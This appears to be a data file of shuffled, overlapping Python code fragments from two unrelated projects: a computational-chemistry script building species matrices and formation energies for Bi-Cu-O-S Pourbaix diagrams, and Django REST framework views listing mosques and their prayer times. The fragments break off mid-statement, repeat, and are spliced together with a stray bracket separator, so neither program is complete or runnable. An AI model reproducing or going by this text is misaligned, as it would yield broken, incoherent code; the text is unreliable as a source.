"dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F;",
"species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4",
"\"\"\" import numpy as np import matplotlib.pyplot as plt import random #For saving/importing",
"dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3)",
"16; pHrange = int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used to iterate",
"species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0",
"in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372",
"combination of species if((species[k, 3]>0 or species[m, 3] >0 or species[p, 3]) \\",
"2018 @author: laurenwalters \"\"\" import numpy as np import matplotlib.pyplot as plt import",
"plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for j",
"species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1",
"species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3",
"[0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2)",
"dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus=",
"species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2",
"range #Applied Potential Range and Constants Ulow = -1.5; #V Uhigh = 1.5;",
"with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868;",
"value of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number",
"Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0",
"species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0",
"is in this combination of species if((species[k, 3]>0 or species[m, 3] >0 or",
"#calculate the energies for each species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount);",
"matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2",
"dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus=",
"dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values",
"species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4",
"species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1",
"species[m, 4] ==0) or \\ (species[m, 4]==0 and species[p, 4] ==0) or \\",
"range(0, len(species)): #Check to make sure each element is in this combination of",
"for i in range(1, 20): for j in range(1, 20): #Is there a",
"numpy import load #Created by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions in",
"combination, save the species in the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+',",
"species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0",
"3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3]",
"iterate through pH range #Applied Potential Range and Constants Ulow = -1.5; #V",
"able to combine at the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3))",
"be as long as there are specicies considered #populate with smaller values that",
"Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525",
"species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0",
"species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO"
] |
[
"salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\":",
"Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET'])",
"serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all()",
"try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if",
"\"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None,",
"\"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list })",
"masjid_dict = {} masjid_list = [] if masjids: for obj in masjids: masjid_id",
"else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return",
"salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer ,",
"SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import",
"SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None",
"import render from .models import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from",
"\"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan",
"= SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids",
"status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\",",
"import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class =",
"{ \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK,",
"from django.shortcuts import render from .models import Masjid, SalahTime from .serializers import MasjidSerializer,",
"\"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id,",
"for obj in masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist:",
"salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except",
", \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan ,",
"masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else:",
"} if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, }",
"rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class",
", \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url,",
"\"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic:",
"masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict",
"\"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan",
"\"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\":",
"users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet):",
"Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators",
"except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user =",
"masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if salatime_obj:",
"import Masjid from rest_framework.response import Response from rest_framework import status from rest_framework_extensions.mixins import",
"import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset",
"salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer",
"django.shortcuts import render from .models import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer",
"Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", }) return Response({\"message\": \"Method not",
"import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset",
"NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer",
"from rest_framework.response import Response from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from",
"rest_framework import viewsets from rest_framework.decorators import api_view from masjid.models import Masjid from rest_framework.response",
"= Masjid.objects.all() masjid_dict = {} masjid_list = [] if masjids: for obj in",
"masjid_list = [] if masjids: for obj in masjids: masjid_id = obj.id try:",
"import api_view from masjid.models import Masjid from rest_framework.response import Response from rest_framework import",
"\"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return",
"= {} masjid_list = [] if masjids: for obj in masjids: masjid_id =",
"salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer",
"masjid_user = None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id,",
"= SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict",
"\"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list",
"in masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj =",
"masjids = Masjid.objects.all() masjid_dict = {} masjid_list = [] if masjids: for obj",
"from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all()",
"\"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer",
"queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET':",
"== 'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list = [] if masjids:",
"status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset =",
", \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer ,",
"return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", }) return Response({\"message\": \"Method",
"\"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , }",
"import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from",
"\"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id,",
"else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", }) return Response({\"message\":",
"[] if masjids: for obj in masjids: masjid_id = obj.id try: salatime_obj =",
"obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user =",
"request.method == 'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list = [] if",
"class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all()",
"CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset =",
"{} masjid_list = [] if masjids: for obj in masjids: masjid_id = obj.id",
"\"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan",
"masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None",
"= None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan",
"SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method ==",
"= obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user",
"}) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", }) return",
", \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = {",
"= { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict =",
"masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try:",
"\"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer",
"SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids =",
"= CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict",
"from rest_framework.decorators import api_view from masjid.models import Masjid from rest_framework.response import Response from",
"\"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer",
"= { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan",
"masjid.models import Masjid from rest_framework.response import Response from rest_framework import status from rest_framework_extensions.mixins",
"\"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else:",
"queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class =",
"masjids: for obj in masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except",
"MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if",
"= None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict =",
".models import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets",
"MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import api_view from masjid.models import",
"Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any",
"MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class",
"\"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({",
"if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict)",
"Masjid.objects.all() masjid_dict = {} masjid_list = [] if masjids: for obj in masjids:",
"= { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({ \"status\":",
"from masjid.models import Masjid from rest_framework.response import Response from rest_framework import status from",
", \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer ,",
", \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer ,",
"salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer ,",
"} masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, }",
"from rest_framework import viewsets from rest_framework.decorators import api_view from masjid.models import Masjid from",
"\"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid",
"= SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist:",
"from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import api_view",
"\"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", }) return Response({\"message\": \"Method not allowed\"})",
"= MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request):",
"SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import api_view from masjid.models import Masjid",
"{} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan",
"{ \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan ,",
"import Response from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import",
"} masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT,",
"masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict)",
"\"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict =",
"salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict,",
